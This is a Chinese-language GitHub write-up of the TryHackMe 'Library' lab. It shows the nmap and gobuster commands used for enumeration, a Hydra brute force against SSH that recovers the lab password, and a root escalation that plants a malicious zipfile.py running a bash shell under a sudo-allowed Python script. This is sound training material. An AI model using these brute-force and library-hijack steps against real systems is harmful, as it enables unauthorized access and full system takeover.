ykstudycs/TryHackMe---Library-Writeup

GitHub: ykstudycs/TryHackMe---Library-Writeup

TryHackMe Library 房间的完整通关攻略,演示了从信息枚举、SSH 暴力破解到 Python 模块劫持提权的完整渗透流程。

Stars: 0 | Forks: 0

# TryHackMe - Library 解题报告 TryHackMe 上 **Library** 房间的完整攻略。该房间侧重于基础枚举、SSH 暴力破解、Web 目录发现,以及通过 **Python 库劫持** 进行权限提升。 # 房间信息 | 类别 | 详情 | |-----------|-----------| | 房间 | Library | | 平台 | TryHackMe | | 难度 | 简单 | | 目标操作系统 | Linux (Ubuntu) | # 学习目标 在这个房间中,我练习了: - 使用 Nmap 进行网络枚举 - Web 枚举 - 使用 Gobuster 进行目录发现 - 使用 Hydra 进行 SSH 暴力破解 - Linux 权限提升 - Python 模块劫持 # 第 1 步:网络扫描 第一步是识别目标机器上开放的端口和运行的服务。 ``` nmap -sC -sV -O ``` ### 说明 - `-sC` → 运行默认的 NSE 脚本。 - `-sV` → 检测服务版本。 - `-O` → 尝试进行操作系统检测。 ### 结果 扫描发现了**两个开放端口**: | 端口 | 服务 | |--------|--------| | 22 | SSH | | 80 | HTTP | 由于存在 Web 服务器,我从 Web 枚举开始入手。 # 第 2 步:Web 枚举 我访问了运行在 80 端口上的网站,并查看了页面源代码。 ### 发现 在浏览网站和检查源代码时,我没有发现任何明显的敏感信息。 但是,我注意到了一个有趣的用户名: ``` meliodas ``` 这个用户名稍后在进行 SSH 攻击时派上了用场。 # 第 3 步:目录枚举 由于网站没有透露太多信息,我使用 **Gobuster** 来发现隐藏的文件和目录。 ``` gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt ``` ### 发现 #### robots.txt 在枚举目录时,我发现了: ``` /robots.txt ``` 打开该文件显示了以下内容: ``` rockyou ``` 被列为了禁止抓取的条目。 这是一个强烈的暗示,表明著名的 **rockyou.txt** 密码字典稍后可能会派上用场。 #### 图片目录 在探索发现的目录时,我还找到了一个图片目录,该目录暴露了正在使用的 Apache 版本信息。 虽然这并没有直接导致漏洞利用,但它提供了关于目标环境的额外信息。 # 第 4 步:SSH 暴力破解 在这个阶段,我们掌握了: - 运行在 22 端口的 SSH - 一个有效的用户名:`meliodas` - 指向 `rockyou.txt` 的提示 我决定使用 **Hydra** 执行一次有针对性的 SSH 暴力破解攻击。 ``` hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh:// ``` ### 说明 - `-l meliodas` → 要攻击的用户名 - `-P rockyou.txt` → 密码字典 - `ssh://` → 目标 SSH 服务 ### 结果 Hydra 成功破解了密码: ``` Username: meliodas Password: iloveyou_ ``` hydra # 第 5 步:SSH 访问 使用发现的凭据,我连接到了目标机器。 ``` ssh meliodas@ ``` 输入密码后: ``` iloveyou_ ``` 我以用户 **meliodas** 的身份成功登录。 Screenshot_2026-06-08_03-11-09 # 第 6 步:User Flag 登录后,我搜索了用户的主目录并找到了 user flag。 ``` cat /home/meliodas/user.txt ``` 成功获取了 user flag。 # 第 7 步:权限提升枚举 下一个目标是获得 root 访问权限。 常见的第一步是检查 sudo 权限。 ``` sudo -l ``` 输出: ``` Matching Defaults entries for meliodas on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User meliodas may run the following commands on ubuntu: (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py ``` ### 观察 该用户可以执行: ``` /home/meliodas/bak.py ``` 并且拥有 root 权限,**无需密码**。 这是一个极佳的权限提升机会。 # 第 8 步:分析 Python 脚本 我检查了备份脚本。 ``` cat /home/meliodas/bak.py ``` bak 在脚本内部,我注意到了: ``` import zipfile ``` ### 重要观察 该脚本导入了 Python 模块: ``` zipfile ``` Python 使用其模块搜索路径 (`sys.path`) 来搜索模块。 通常,Python 在加载标准库模块之前会先检查当前工作目录。 这种行为有时可以通过 **Python 库劫持** 来滥用。 # 第 9 步:Python 库劫持 由于脚本导入了 `zipfile`,我在当前目录中创建了自己的恶意模块,命名为: ``` zipfile.py ``` ``` echo "import os; os.system('/bin/bash')" > zipfile.py ``` ### 代码原理 当 Python 尝试加载 `zipfile` 模块时: 1. 它首先搜索当前目录。 2. 它找到了我们的恶意 `zipfile.py`。 3. 我们的代码将代替合法模块执行。 4. 由于该脚本是以 sudo 方式运行的,因此代码将以 root 权限执行。 # 第 10 步:执行存在漏洞的脚本 现在,我触发了被允许的 sudo 命令。 ``` sudo /usr/bin/python3 /home/meliodas/bak.py ``` 由于 Python 加载了我们的恶意模块,成功生成了一个 root shell。 # 第 11 步:Root 访问 验证权限: ``` id ``` 输出: ``` uid=0(root) gid=0(root) groups=0(root) ``` 成功提升权限! root1 # 第 12 步:Root Flag 获得 root 权限后,我访问了最终的 flag。 ``` cat /root/root.txt ``` 成功获取了 root flag。 # 总结 这个房间展示了如何将枚举过程中收集到的零散信息串联起来,从而攻破一个系统: 1. 使用 Nmap 对目标进行枚举。 2. 从网站中发现了用户名 **meliodas**。 3. 通过 `robots.txt` 找到了关于 **rockyou.txt** 的提示。 4. 使用 Hydra 暴力破解了 SSH 凭据。 5. 通过 SSH 登录系统。 6. 枚举了 sudo 权限。 7. 找到了一个可以以 root 身份执行的 Python 脚本。 8. 利用 **Python 库劫持**,劫持了 Python 的模块搜索路径。 9. 获得了 root shell 并拿到了最终的 flag。 # 使用到的工具 - Nmap - Gobuster - Hydra - SSH - Linux 枚举命令 - Python **房间成功完成 ✅**
标签:API接口, CTI, 内存分配, 协议分析, 安全靶场, 权限提升, 网络安全, 网络安全审计, 逆向工具, 隐私保护